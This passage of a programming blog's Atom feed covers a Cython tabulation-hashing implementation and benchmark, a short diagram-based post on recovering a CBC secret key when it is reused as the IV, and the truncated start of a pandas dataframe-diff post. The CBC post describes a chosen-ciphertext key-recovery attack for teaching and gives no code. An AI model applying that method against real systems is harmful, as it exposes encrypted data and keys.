        &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h7&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Few notes of the implementation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will replace &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by the specific types (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) doing a cross product of types. In this case &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will generate 4 functions in total.&lt;/li&gt;
&lt;li&gt;the conditional &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is resolved by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in compile time so it is a handy way to write conditional code without the C preprocessor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tells to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that we expect a &lt;strong&gt;memory view&lt;/strong&gt;, in particular an unidimensional contiguous array (faster access).&lt;/li&gt;
&lt;li&gt;with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boundscheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wraparound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we will be playing with the table as a plain C array (faster access): no out of bound exceptions or fancy Pythonic indexing.&lt;/li&gt;
&lt;li&gt;the entire &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function does not use any Python object: everything is C data. In such case we can release the GIL during its execution with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nogil&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (concurrent friendly)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cdef&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function that means it can be called only from within C code.&lt;/p&gt;
&lt;p&gt;To make it accessible from Python we code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hash_x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;C functions are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;static&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by default so the C compiler should optimize the call. In fact, I marked &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inline&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to hint the compiler.&lt;/p&gt;
&lt;h2 id="hash-a-vector-of-keys"&gt;Hash a vector of keys&lt;/h2&gt;
&lt;p&gt;The tabulation hashing shines when we hash a vector of keys as much of the table rows will be in the cache.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; code is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boundscheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wraparound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;infer_types&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cdivision&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hash_vec_full&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;kvec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;cdef&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;hash_dtype&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;
        &lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xi&lt;/span&gt;

        &lt;span class="n"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;vec_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kvec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rebase&lt;/span&gt;
        &lt;span class="n"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;nrows&lt;/span&gt;

    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;nogil&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vec_size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kvec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

            &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A few notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;as before we require the arrays to be contiguous&lt;/li&gt;
&lt;li&gt;a Python function cannot be marked as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nogil&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but we can mark as subpart of it with a context manager&lt;/li&gt;
&lt;li&gt;the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tells &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to call the &lt;em&gt;specialized&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c_hash_x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function for those types.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="runtime-performance"&gt;Runtime performance&lt;/h2&gt;
&lt;p&gt;I’ll analyse the &lt;a href="https://github.com/eldipa/tabulation-hashing/releases/tag/1.0.1"&gt;1.0.1 version&lt;/a&gt; of the tabulation hashing implementation.&lt;/p&gt;
&lt;p&gt;For comparison I will use a simple linear hashing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h = (a * k + b)     (mod N)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are random numbers of \(h\) bits and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is \(2^h\)&lt;/p&gt;
&lt;p&gt;The beauty of this function is that is really simple and fast because we can use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;numpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to write a vectorized version to hash several keys in one shot.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Comparison of elapsed time (in nanoseconds) of tabulation hashing and linear hashing for a 32-32 \(k\)-\(h\) bits on the left and 64-64 bits on the right.
&lt;br /&gt;&lt;br /&gt;
The experiment run 1000 times for each setting and the plot shows the &lt;em&gt;minimum&lt;/em&gt; elapsed time for each.
&lt;br /&gt;&lt;br /&gt;
The error (dispersion) of the metric is too tiny to be visible but a more detailed analysis of the noise in the measurement is provided bellow.
&lt;br /&gt;&lt;br /&gt;
Here the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means datasets of \(2^{order}\) random numbers to hash.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/hashes/tabulation-hashing/cmp_runtime_32-32_and_64-64_full_lin.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Linear hashing performs better than tabulation hashing, probably because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;numpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is well optimized for computing a multiplication and a addition in a vectorized fashion.&lt;/p&gt;
&lt;p&gt;In contrast my &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implementation does not take any advantage of such instructions.&lt;/p&gt;
&lt;p&gt;Nevertheless tabulation hashing shows a consistent performance across the different datasets.&lt;/p&gt;
&lt;p&gt;Note also that the performance of the linear hashing gets worst on larger datasets. The &lt;em&gt;why&lt;/em&gt; is an open question.&lt;/p&gt;
&lt;p&gt;For reference here is the &lt;a href="/assets/hashes/tabulation-hashing/"&gt;code for plotting and raw dataset&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="noise-measurement-evaluation"&gt;Noise measurement evaluation&lt;/h2&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;object style="width: 100%;" class='fullwidth' align='middle' data='/img/hashes/tabulation-hashing/cmp_runtime_noise_full_lin.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;figcaption&gt;
Dispersion of the elapsed time measured in each experiment (in nanoseconds). On top is tabulation hashing, on bottom is linear hashing.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Here we can see how the elapsed times of linear hashing are left-shifted meaning that it ran faster than tabulation hashing.&lt;/p&gt;
&lt;p&gt;But the dispersion density is much interesting!&lt;/p&gt;
&lt;p&gt;For tabulation hashing we have very high peaks that means smaller dispersion of the measurements.&lt;/p&gt;
&lt;p&gt;Tabulation hashing in mostly affected by cache misses as it is primary a set of memory lookups.&lt;/p&gt;
&lt;p&gt;Linear hashing may use the ALU more intensively. Would this explain the dispersion?&lt;/p&gt;
&lt;p&gt;I’m not sure: I disabled &lt;a href="/articles/2021/03/07/Quiescent-Environment.html"&gt;hyperthreading/SMT and isolated the CPUs&lt;/a&gt; for the experiment so nobody should had interfered with the ALU.&lt;/p&gt;
&lt;h2 id="conclusions-and-further-research"&gt;Conclusions and further research&lt;/h2&gt;
&lt;p&gt;Tabulation hashing is slower than linear hashing but close.&lt;/p&gt;
&lt;p&gt;The comparison however is not taking into account that a linear hashing has less math properties than the tabulation hashing.&lt;/p&gt;
&lt;p&gt;For example the latter is 3-way independence that some applications require and a linear hashing would not be applicable.&lt;/p&gt;
&lt;p&gt;My &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;a href="https://github.com/eldipa/tabulation-hashing"&gt;implementation&lt;/a&gt; does not make any of vectorized memory access nor parallelism so it is not exploiting the full capabilities of a modern CPU.&lt;/p&gt;
&lt;p&gt;Something that I may explore in the future.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2023/03/30/Tabulation-Hashing.html" rel="alternate" type="text/html" title="Tabulation Hashing Implementation and Analysis"/>
    <category term="hash" label="hash"/>
    <category term="hashing" label="hashing"/>
    <category term="perf" label="perf"/>
    <category term="performance" label="performance"/>
    <category term="cython" label="cython"/>
    <published>2023-03-30T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2023/01/23/Key-Recovering-from-CBC-with-IV-eq-K.html</id>
    <title>Key Recovering from CBC with `IV = K`{.mathjax}</title>
    <updated>2023-01-23T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;CBC requires an &lt;em&gt;initialization vector&lt;/em&gt; (IV) that needs to be agreed by both encryption and decryption peers.&lt;/p&gt;
&lt;p&gt;IV needs to be random so you may be get tempted and use the secret key as IV.&lt;/p&gt;
&lt;p&gt;No, please don’t.&lt;/p&gt;
&lt;p&gt;The IV is not required to be secret and there is a good reason for that: it can be recovered with a &lt;strong&gt;single&lt;/strong&gt; &lt;em&gt;chosen ciphertext attack&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Using \(IV = K\) means that the adversary can recover the secret key with a single message.&lt;/p&gt;
&lt;p&gt;In this post I describe the attack in 3 simple diagrams. &lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Encryption of a plaintext.
&lt;br /&gt;&lt;br /&gt;
Note how the secret key is used incorrectly as IV.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 50%;" class='' align='middle' data='/img/matasano/k-eq-iv-enc.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="chosen-ciphertext"&gt;Chosen ciphertext&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Decryption of a &lt;em&gt;chosen ciphertext&lt;/em&gt;.
&lt;br /&gt;&lt;br /&gt;
It is a 3-block ciphertext with the first and third blocks being the same and the block in the between being full of zeros.
&lt;br /&gt;&lt;br /&gt;
Note that \(c_1\) can be an arbitrary encrypted block.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 45%;" class='' align='middle' data='/img/matasano/k-eq-iv-attack.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="key-recovering"&gt;Key recovering&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The third block is decrypted and then xored with zeros, making the xor a no-operation.
&lt;br /&gt;&lt;br /&gt;
This leaves the direct decryption \(D[c_1]\) at the end of the plaintext.
&lt;br /&gt;&lt;br /&gt;
This is the same value obtained for the &lt;em&gt;first&lt;/em&gt; ciphertext block &lt;strong&gt;before&lt;/strong&gt; the xor with the IV.
&lt;br /&gt;&lt;br /&gt;
Knowing the first block of the plaintext then it is possible to recover the IV.
&lt;br /&gt;&lt;br /&gt;
This is in general true for any CBC setup and it does not imply any vulnerability as &lt;em&gt;the IV does not require to be secret&lt;/em&gt;.
&lt;br /&gt;&lt;br /&gt;
But as in this case, if the IV was initialized with the secret key, this now becomes a real attack with a &lt;strong&gt;full recover of the key&lt;/strong&gt;.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/k-eq-iv-recover.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2023/01/23/Key-Recovering-from-CBC-with-IV-eq-K.html" rel="alternate" type="text/html" title="Key Recovering from CBC with `IV = K`{.mathjax}"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CBC" label="CBC"/>
    <published>2023-01-23T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/10/01/Diff-Between-Dataframes-for-Testing.html</id>
    <title>Diff Between Data Frames for Testing</title>
    <updated>2022-10-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Let’s say that we want to compare two Pandas’ dataframes for unit testing.&lt;/p&gt;
&lt;p&gt;One is the &lt;em&gt;expected&lt;/em&gt; dataframe, crafted by us and it will be the &lt;em&gt;source of truth&lt;/em&gt; for the test.&lt;/p&gt;
&lt;p&gt;The other is the &lt;em&gt;obtained&lt;/em&gt; dataframe that is the result of the experiment that we want to check.&lt;/p&gt;
&lt;p&gt;Doing a naive comparison will not work: first we may want to &lt;em&gt;tolerate&lt;/em&gt; some minor differences due computation imprecision; and second, and most important, we don’t want to know &lt;em&gt;just&lt;/em&gt; if the dataframes are different or not&lt;/p&gt;
&lt;p&gt;We want to know &lt;strong&gt;where are the differences&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Knowing exactly what is different makes the debugging much easier – trying to figure out which column in which row there is a different by hand is &lt;strong&gt;not fun&lt;/strong&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="comparison-row-by-row-the-naive-approach"&gt;Comparison row-by-row (the naive approach)&lt;/h2&gt;
&lt;p&gt;Pandas has a beautiful &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;a href="https://pandas.pydata.org/docs/reference/api/pandas.testing.assert_frame_equal.html"&gt;function for unit testing&lt;/a&gt;: it compares the dataframes row by row and shows which column has some differences and how many there are.&lt;/p&gt;
&lt;p&gt;Considere the following dataframes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;pd&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;physics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;grade&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;physics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
